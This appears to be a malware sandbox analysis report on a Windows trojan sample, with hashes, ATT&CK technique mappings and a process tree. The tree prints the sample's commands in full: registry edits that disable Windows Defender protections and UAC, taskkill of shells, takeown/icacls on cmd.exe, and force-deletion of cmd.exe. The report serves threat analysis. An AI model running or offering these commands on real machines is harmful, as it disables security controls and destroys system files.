bf844cbbd42053c6e4f7beaddfe653a295a9f056444a07d1d2e570bfe0ea240d

Analysis

max time kernel
3s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260629-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260629-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
01/07/2026, 17:16

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
GRoupALEst5bariya.exe
Size 763KB
Sample260701-vtflmacx3t
SHA256 bf844cbbd42053c6e4f7beaddfe653a295a9f056444a07d1d2e570bfe0ea240d
MD5 a004c1bbabfd4fb15ca8a80b0fb97ac3
SHA1 3901622ef1e7d1c4c5f7bf5c49c0462eab3dc59a
SHA512 0febec2be32c5680391b1fd1b849e9b47d2f06f763e228f97ae07f7b04495567e2d92e9469aa3f4b517398d1059d5e3f6558165ed93ed9bb929669d49fa38edf
SSDEEP 12288:Y488xZj7W2IQNAyEooM4oFDNHBFASHFQFK50jUfEoVl:YCjKZQOyHoSV50jUfEoVl
TLSH
T157F4178336CA1CFAEE932B3894DF533A6735FE708B6A8B674514D2321D135C1AD1AB50
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

defense_evasion discovery evasion exploit trojan

Malware Config

Signatures

Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs

evasion trojan

Modify Registry

T1112

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

defense_evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

T1112

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	reg.exe

Possible privilege escalation attempt 2 IoCs

exploit

pid	Process
4744	takeown.exe
1128	icacls.exe

Modifies file permissions 1 TTPs 2 IoCs

discovery

File and Directory Permissions Modification

T1222

pid	Process
4744	takeown.exe
1128	icacls.exe

Indicator Removal: File Deletion 1 TTPs
Adversaries may delete files left behind by the actions of their intrusion activity.
defense_evasion

File Deletion
T1070.004

Kills process with taskkill 2 IoCs

defense_evasion

pid	Process
5664	taskkill.exe
4212	taskkill.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	4272	GRoupALEst5bariya.exe
Token: SeIncBasePriorityPrivilege	4272	GRoupALEst5bariya.exe
Token: SeDebugPrivilege	5664	taskkill.exe
Token: SeDebugPrivilege	4212	taskkill.exe
Token: SeTakeOwnershipPrivilege	4744	takeown.exe

Suspicious use of WriteProcessMemory 17 IoCs

description	pid	Process	procid_target
PID 4272 wrote to memory of 1924	4272	GRoupALEst5bariya.exe	88
PID 1924 wrote to memory of 4624	1924	cmd.exe	90
PID 4272 wrote to memory of 4160	4272	GRoupALEst5bariya.exe	91
PID 4160 wrote to memory of 5480	4160	cmd.exe	93
PID 4272 wrote to memory of 5000	4272	GRoupALEst5bariya.exe	94
PID 5000 wrote to memory of 1816	5000	cmd.exe	96
PID 4272 wrote to memory of 5452	4272	GRoupALEst5bariya.exe	97
PID 5452 wrote to memory of 2256	5452	cmd.exe	99
PID 4272 wrote to memory of 1796	4272	GRoupALEst5bariya.exe	100
PID 1796 wrote to memory of 5664	1796	cmd.exe	102
PID 4272 wrote to memory of 2728	4272	GRoupALEst5bariya.exe	104
PID 2728 wrote to memory of 4212	2728	cmd.exe	106
PID 4272 wrote to memory of 5356	4272	GRoupALEst5bariya.exe	107
PID 5356 wrote to memory of 4744	5356	cmd.exe	109
PID 4272 wrote to memory of 2264	4272	GRoupALEst5bariya.exe	110
PID 2264 wrote to memory of 1128	2264	cmd.exe	112
PID 4272 wrote to memory of 1420	4272	GRoupALEst5bariya.exe	113

C:\Users\Admin\AppData\Local\Temp\GRoupALEst5bariya.exe
"C:\Users\Admin\AppData\Local\Temp\GRoupALEst5bariya.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4272
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1924
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection" /v DisableRealtimeMonitoring /t REG_DWORD /d 1 /f
    3⤵
    PID:4624
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4160
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Features" /v TamperProtection /t REG_DWORD /d 0 /f
    3⤵
    PID:5480
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5000
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender" /v DisableAntiSpyware /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    PID:1816
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5452
- - C:\Windows\system32\reg.exe
    reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f
    3⤵
    - UAC bypass
    PID:2256
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im cmd.exe 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:1796
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im cmd.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:5664
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c taskkill /f /im conhost.exe 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2728
- - C:\Windows\system32\taskkill.exe
    taskkill /f /im conhost.exe
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:4212
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c takeown /f C:\Windows\System32\cmd.exe 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:5356
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Windows\System32\cmd.exe
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    - Suspicious use of AdjustPrivilegeToken
    PID:4744
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c icacls C:\Windows\System32\cmd.exe /grant administrators:F 2>nul
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2264
- - C:\Windows\system32\icacls.exe
    icacls C:\Windows\System32\cmd.exe /grant administrators:F
    3⤵
    - Possible privilege escalation attempt
    - Modifies file permissions
    PID:1128
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c del /f /s /q C:\Windows\System32\cmd.exe 2>nul
  2⤵
  PID:1420